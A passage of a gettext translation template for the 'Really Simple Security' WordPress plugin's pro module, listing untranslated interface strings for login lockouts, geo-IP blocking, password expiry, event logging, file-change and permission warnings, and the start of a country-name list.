#: pro/security/wordpress/class-rsssl-captcha-config.php:183
msgid "Captcha was not verified successfully. Please try again."
msgstr ""

#: pro/security/wordpress/class-rsssl-event-listener.php:150
msgid "<strong>Error</strong>: Captcha validation failed."
msgstr ""

#: pro/security/wordpress/class-rsssl-event-listener.php:165
msgid "Your access has been denied due to too many failed login attempts."
msgstr ""

#: pro/security/wordpress/class-rsssl-event-listener.php:227
#: pro/security/wordpress/class-rsssl-event-listener.php:282
msgid "Your access has been denied, too many login attempts"
msgstr ""

#: pro/security/wordpress/class-rsssl-event-listener.php:249
#: pro/security/wordpress/class-rsssl-event-listener.php:275
msgid "Your access has been denied, please contact the webmaster for support"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:262
msgid "Administrator IP"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:297
#: pro/security/wordpress/class-rsssl-geo-block.php:352
#: pro/security/wordpress/class-rsssl-geo-block.php:417
#: pro/security/wordpress/class-rsssl-geo-block.php:473
msgid "Missing or invalid region data."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:302
#: pro/security/wordpress/class-rsssl-geo-block.php:357
#: pro/security/wordpress/class-rsssl-geo-block.php:422
#: pro/security/wordpress/class-rsssl-geo-block.php:478
msgid "Invalid region code."
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:334
msgid "Access from all countries in %s is now blocked."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:394
msgid "Access from the selected regions is now blocked."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:400
msgid "An error occurred while adding regions to the list."
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:455
msgid "Access from all countries in %s is now allowed."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:514
msgid "Access from the selected regions is now allowed."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:520
msgid "An error occurred while removing regions from the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:555
msgid "Failed to delete some countries."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:613
#: pro/security/wordpress/class-rsssl-geo-block.php:658
#: pro/security/wordpress/class-rsssl-geo-block.php:812
msgid "Missing or invalid country data."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:620
#: pro/security/wordpress/class-rsssl-geo-block.php:665
msgid "Country already in the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:627
#: pro/security/wordpress/class-rsssl-geo-block.php:671
msgid "Failed to add country to the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:635
#: pro/security/wordpress/class-rsssl-geo-block.php:677
#: pro/security/wordpress/class-rsssl-geo-block.php:788
#: pro/security/wordpress/class-rsssl-geo-block.php:835
#: pro/security/wordpress/class-rsssl-geo-block.php:1437
msgid "An error occurred: "
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:646
msgid "Access from %s is now blocked."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:687
msgid "Access from the selected countries is now blocked."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:693
msgid "An error occurred while adding countries to the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:755
#: pro/security/wordpress/class-rsssl-geo-block.php:1743
#: pro/security/wordpress/class-rsssl-geo-block.php:1789
#: pro/security/wordpress/class-rsssl-geo-block.php:1869
msgid "Invalid data provided."
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:776
#: pro/security/wordpress/class-rsssl-geo-block.php:825
msgid "%s not in the list."
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:801
msgid "Access from %s is now allowed."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:845
msgid "Access from the selected countries is now allowed."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:851
msgid "An error occurred while removing countries from the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:882
msgid "Failed to delete %s from the list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:974
#: settings/config/menu.php:681
msgid "Permanent"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1115
msgid "We're sorry."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1116
msgid "This website is unavailable in your region."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1117
#: pro/security/wordpress/firewall/class-rsssl-404-interceptor.php:331
msgid "Your access to this site has been temporarily denied"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1118
msgid "Your access to this site has been denied"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1119
msgid "Error code: 403"
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1341
#: pro/security/wordpress/class-rsssl-geo-block.php:1377
#: pro/security/wordpress/limitlogin/class-rsssl-admin-config-countries.php:165
msgid "Missing filter value."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1464
#: settings/config/fields/firewall.php:165
#: settings/config/fields/firewall.php:210
#: settings/config/fields/limit-login-attempts.php:122
#: settings/config/fields/limit-login-attempts.php:167
#: settings/config/fields/limit-login-attempts.php:213
#: settings/config/menu.php:528
#: settings/config/menu.php:596
#: settings/config/menu.php:622
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/LearningMode/LearningMode.js:141
msgid "Blocked"
msgstr ""

#. translators: %s: Name of the country that was removed from the blocked list.
#: pro/security/wordpress/class-rsssl-geo-block.php:1771
msgid "IP address %s is now %s."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1800
msgid "IP removed from list."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1863
msgid "User agent added."
msgstr ""

#: pro/security/wordpress/class-rsssl-geo-block.php:1903
msgid "User agent removed from current list."
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:225
msgid "%1s %2$s added to %3$s."
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:293
msgid "No %1s were added to %2s"
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:303
msgid "Some %1s were added to %2s, missing %1s are %3s"
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:320
msgid "All %1s were added to %2s"
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:486
#: pro/security/wordpress/class-rsssl-limit-login-admin.php:520
msgid "Records deleted successfully."
msgstr ""

#: pro/security/wordpress/class-rsssl-limit-login-admin.php:502
msgid "Record not found."
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:159
msgid "Password Expires On"
msgstr ""

#. translators: %1$s: The date the password expires. %2$d: The number of days until the password expires.
#: pro/security/wordpress/class-rsssl-password-security.php:192
msgid "%1$s - expires in %2$d days"
msgstr ""

#. translators: %s: Not required.
#: pro/security/wordpress/class-rsssl-password-security.php:199
msgid "Not required"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:412
msgid "Your password has expired. Please change your password."
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:629
#: pro/security/wordpress/class-rsssl-password-security.php:633
msgid "Invalid nonce."
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:683
msgid "Your password contains (part of) your (user)name or email address. Choose a different password"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:842
#: pro/security/wordpress/class-rsssl-password-security.php:843
msgid "Your account is locked"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:845
msgid "Hi %1$s, Your password expired on %2$s , please change your password."
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:849
msgid "Unlock Account"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:851
#: pro/security/wordpress/class-rsssl-password-security.php:874
msgid "Copy this URL to your browser to change your password: %1$s "
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:860
msgid "Account Locked"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:865
#: pro/security/wordpress/class-rsssl-password-security.php:866
msgid "Your password will expire in 7 days"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:868
msgid "Hi %1$s, Your password on %2$s will expire in 7 days, please change your password."
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:872
msgid "Change password"
msgstr ""

#: pro/security/wordpress/class-rsssl-password-security.php:883
msgid "Change your password"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:119
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:174
msgid "System"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:255
msgid "Login by %s was successful"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:258
msgid "Login by %s failed (incorrect credentials)"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:260
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:524
msgid "REST API authentication successful"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:260
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:265
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:270
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:275
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:524
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:529
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:534
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:539
msgid "Authentication"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:265
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:529
msgid "REST API authentication failed"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:270
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:534
msgid "XML-RPC authentication successful"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:275
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:539
msgid "XML-RPC authentication failed"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:281
msgid "User %s added to temporary blocklist"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:285
msgid "User %s removed from temporary blocklist"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:290
msgid "User %s added to permanent blocklist"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:293
msgid "User %s removed from permanent blocklist"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:296
msgid "User %s added to trusted  IP list"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:300
msgid "User %s removed from trusted IP list"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:305
msgid "IP address %s added to temporary blocklist"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:308
msgid "IP address %s removed from temporary blocklist"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:311
msgid "IP address %s added to permanent blocklist"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:314
msgid "IP address %s removed from permanent blocklist"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:317
msgid "IP address %s added to trusted IP list"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:320
msgid "IP address %s removed from trusted IP list"
msgstr ""

#. translators: %s is replaced with the country name.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:324
msgid "Country %s added to geo-IP blocklist"
msgstr ""

#. translators: %s is replaced with the country name.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:330
msgid "Country %s removed from geo-IP blocklist"
msgstr ""

#. translators: %s is replaced with the email address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:335
msgid "Unblock link sent to %s"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:339
msgid "Login failed (User %s found in temporary blocklist)"
msgstr ""

#. translators: %s is replaced with the username.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:345
msgid "Login failed (User %s found in permanent blocklist)"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:350
msgid "Login failed (IP %s found in temporary blocklist)"
msgstr ""

#. translators: %s is replaced with the IP address.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:353
msgid "Login failed (IP %s found in permanent blocklist)"
msgstr ""

#. translators: %s is replaced with the country name.
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:357
msgid "Login failed (Country %s blocked by geo-IP blocklist )"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:361
msgid "Login failed (incorrect MFA code)"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:361
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:366
msgid "MFA"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:366
msgid "MFA setup required"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:369
#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:580
msgid "Unknown event"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:520
msgid "Login successful"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:522
msgid "Login failed"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:544
msgid "User locked out"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:547
msgid "User removed from blocklist"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:549
msgid "User added to blocklist"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:551
msgid "User added to trusted list"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:553
msgid "User removed from trusted list"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:555
msgid "IP address locked-out"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:558
msgid "IP removed from blocklist"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:560
msgid "IP added to blocklist"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:562
msgid "IP added to trusted list"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:564
msgid "IP removed from trusted list"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:567
msgid "Geo-IP blocklist changed"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:569
msgid "Unblock link sent"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:572
msgid "Login blocked by username"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:575
msgid "Login blocked by IP address"
msgstr ""

#: pro/security/wordpress/eventlog/class-rsssl-event-type.php:577
msgid "Login blocked by Geo-IP list"
msgstr ""

#: pro/security/wordpress/file-change-detection/download.php:44
msgid "No changed files found"
msgstr ""

#: pro/security/wordpress/file-change-detection/download.php:46
msgid "Changed files:"
msgstr ""

#: pro/security/wordpress/file-change-detection/download.php:50
msgid "These files were changed outside a normal plugin, theme or WordPress update. If you have changed them through FTP, or manually, you can ignore this. If you're not sure, please check with your hosting provider for help."
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:689
msgid " Download the full list via the Really Simple Security dashboard."
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:694
msgid "Changed files"
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:695
msgid "The recurring scan detected files that were changed outside plugin, theme or WordPress updates:"
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:703
msgid "Security warning: changed files"
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:704
#: pro/security/wordpress/permission-detection/permission-detection.php:207
msgid "Security warning"
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:705
#: pro/security/wordpress/permission-detection/permission-detection.php:208
msgid "This is a security warning from Really Simple Security for %s."
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:860
msgid "Changed files detected."
msgstr ""

#: pro/security/wordpress/file-change-detection/file-change-detection.php:861
msgid "Some files on your server have been changed outside the normal update procedure. You can %sdownload%s the affected files list to verify the files."
msgstr ""

#: pro/security/wordpress/firewall/class-rsssl-404-interceptor.php:328
msgid "We're sorry!"
msgstr ""

#: pro/security/wordpress/firewall/class-rsssl-404-interceptor.php:329
msgid "Please verify that you are human"
msgstr ""

#: pro/security/wordpress/firewall/class-rsssl-404-interceptor.php:333
msgid "Error code: 404"
msgstr ""

#: pro/security/wordpress/firewall/models/class-rsssl-404-block.php:107
msgid "Added to watchlist by 404 interceptor"
msgstr ""

#: pro/security/wordpress/firewall/models/class-rsssl-404-block.php:172
msgid "404 threshold exceeded"
msgstr ""

#: pro/security/wordpress/hibp-password-check.php:93
#: pro/security/wordpress/hibp-password-check.php:111
#: pro/security/wordpress/hibp-password-check.php:133
msgid "Warning: This password has been found in %d data breaches. Please choose a different password."
msgstr ""

#: pro/security/wordpress/limitlogin/class-rsssl-admin-config-countries.php:120
#: settings/config/fields/firewall.php:212
#: settings/config/fields/limit-login-attempts.php:124
#: settings/config/fields/limit-login-attempts.php:169
#: settings/config/fields/limit-login-attempts.php:215
#: settings/config/menu.php:439
#: settings/config/menu.php:474
msgid "Trusted"
msgstr ""

#: pro/security/wordpress/limitlogin/class-rsssl-admin-config-countries.php:232
#: settings/config/menu.php:359
#: settings/config/menu.php:508
#: settings/config/menu.php:673
#: settings/config/menu.php:710
#: settings/build/928.a4828756026ad32cf7bc.js:1
#: settings/src/Settings/DataTable/DataTableWrapper.js:151
#: settings/src/Settings/EventLog/EventLogDataTable.js:213
#: settings/src/Settings/firewall/UserAgentTable.js:257
#: settings/src/Settings/GeoBlockList/BlockListDatatable.js:345
#: settings/src/Settings/GeoBlockList/GeoDatatable.js:502
#: settings/src/Settings/GeoBlockList/WhiteListDatatable.js:398
#: settings/src/Settings/LearningMode/LearningMode.js:139
#: settings/src/Settings/LearningMode/LearningMode.js:285
#: settings/src/Settings/LimitLoginAttempts/CountryDatatable.js:435
#: settings/src/Settings/LimitLoginAttempts/IpAddressDatatable.js:298
msgid "All"
msgstr ""

#: pro/security/wordpress/limitlogin/class-rsssl-geo-location.php:83
msgid "MaxMind GeoIP database not installed"
msgstr ""

#: pro/security/wordpress/limitlogin/class-rsssl-geo-location.php:85
msgid "You have enabled GEO IP, but the GEO IP database hasn't been downloaded automatically. If you continue to see this message, download the file from %1$sReally Simple Security CDN%2$s, unzip it, and put it in the %3$s folder in your WordPress uploads directory"
msgstr ""

#: pro/security/wordpress/permission-detection/download.php:34
msgid "No files with wrong permissions found"
msgstr ""

#: pro/security/wordpress/permission-detection/download.php:36
msgid "Files with wrong permissions:"
msgstr ""

#: pro/security/wordpress/permission-detection/download.php:40
msgid "You should set the files to 644 permissions, and folders to 755. If you're not sure how to do this, please check with your hosting provider for help."
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:83
msgid "Too many files with insecure permissions to fix. Please contact your hosting provider."
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:111
msgid "Fixing of file permissions completed. Fixed: %d. Failed: %d"
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:197
msgid "Insecure file permissions"
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:198
msgid "The recurring scan detected insecure file permissions being used for certain files or folders. Navigate to the Really Simple Security dashboard to resolve the issue."
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:206
msgid "Security warning: insecure file permissions"
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:388
msgid "Insecure file permissions detected."
msgstr ""

#: pro/security/wordpress/permission-detection/permission-detection.php:389
msgid " Insecure file permissions detected on your server. Click “Fix” to let Really Simple Security resolve this, or %sdownload%s the affected files list, to resolve this manually."
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-api-toolbox.php:104
msgid "Invalid list type."
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:30
msgid "Afghanistan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:31
msgid "Aland Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:32
msgid "Albania"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:33
msgid "Algeria"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:34
msgid "American Samoa"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:35
msgid "Andorra"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:36
msgid "Angola"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:37
msgid "Anguilla"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:38
#: pro/security/wordpress/traits/trait-rsssl-country.php:293
msgid "Antarctica"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:39
msgid "Antigua and Barbuda"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:40
msgid "Argentina"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:41
msgid "Armenia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:42
msgid "Aruba"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:43
msgid "Australia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:44
msgid "Austria"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:45
msgid "Azerbaijan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:46
msgid "Bahamas"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:47
msgid "Bahrain"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:48
msgid "Bangladesh"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:49
msgid "Barbados"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:50
msgid "Belarus"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:51
msgid "Belgium"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:52
msgid "Belize"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:53
msgid "Benin"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:54
msgid "Bermuda"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:55
msgid "Bhutan"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:56
msgid "Bolivia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:57
msgid "Bonaire, Sint Eustatius and Saba"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:58
msgid "Bosnia and Herzegovina"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:59
msgid "Botswana"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:60
msgid "Bouvet Island"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:61
msgid "Brazil"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:62
msgid "British Indian Ocean Territory"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:63
msgid "Brunei Darussalam"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:64
msgid "Bulgaria"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:65
msgid "Burkina Faso"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:66
msgid "Burundi"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:67
msgid "Cambodia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:68
msgid "Cameroon"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:69
msgid "Canada"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:70
msgid "Cape Verde"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:71
msgid "Cayman Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:72
msgid "Central African Republic"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:73
msgid "Chad"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:74
msgid "Chile"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:75
msgid "China"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:76
msgid "Christmas Island"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:77
msgid "Cocos (Keeling) Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:78
msgid "Colombia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:79
msgid "Comoros"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:80
msgid "Congo"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:81
msgid "Congo, Democratic Republic of the Congo"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:82
msgid "Cook Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:83
msgid "Costa Rica"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:84
msgid "Cote D'Ivoire"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:85
msgid "Croatia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:86
msgid "Cuba"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:87
msgid "Curacao"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:88
msgid "Cyprus"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:89
msgid "Czech Republic"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:90
msgid "Denmark"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:91
msgid "Djibouti"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:92
msgid "Dominica"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:93
msgid "Dominican Republic"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:94
msgid "Ecuador"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:95
msgid "Egypt"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:96
msgid "El Salvador"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:97
msgid "Equatorial Guinea"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:98
msgid "Eritrea"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:99
msgid "Estonia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:100
msgid "Ethiopia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:101
msgid "Falkland Islands (Malvinas)"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:102
msgid "Faroe Islands"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:103
msgid "Fiji"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:104
msgid "Finland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:105
msgid "France"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:106
msgid "French Guiana"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:107
msgid "French Polynesia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:108
msgid "French Southern Territories"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:109
msgid "Gabon"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:110
msgid "Gambia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:111
msgid "Georgia"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:112
msgid "Germany"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:113
msgid "Ghana"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:114
msgid "Gibraltar"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:115
msgid "Greece"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:116
msgid "Greenland"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:117
msgid "Grenada"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:118
msgid "Guadeloupe"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:119
msgid "Guam"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:120
msgid "Guatemala"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:121
msgid "Guernsey"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:122
msgid "Guinea"
msgstr ""

#: pro/security/wordpress/traits/trait-rsssl-country.php:123
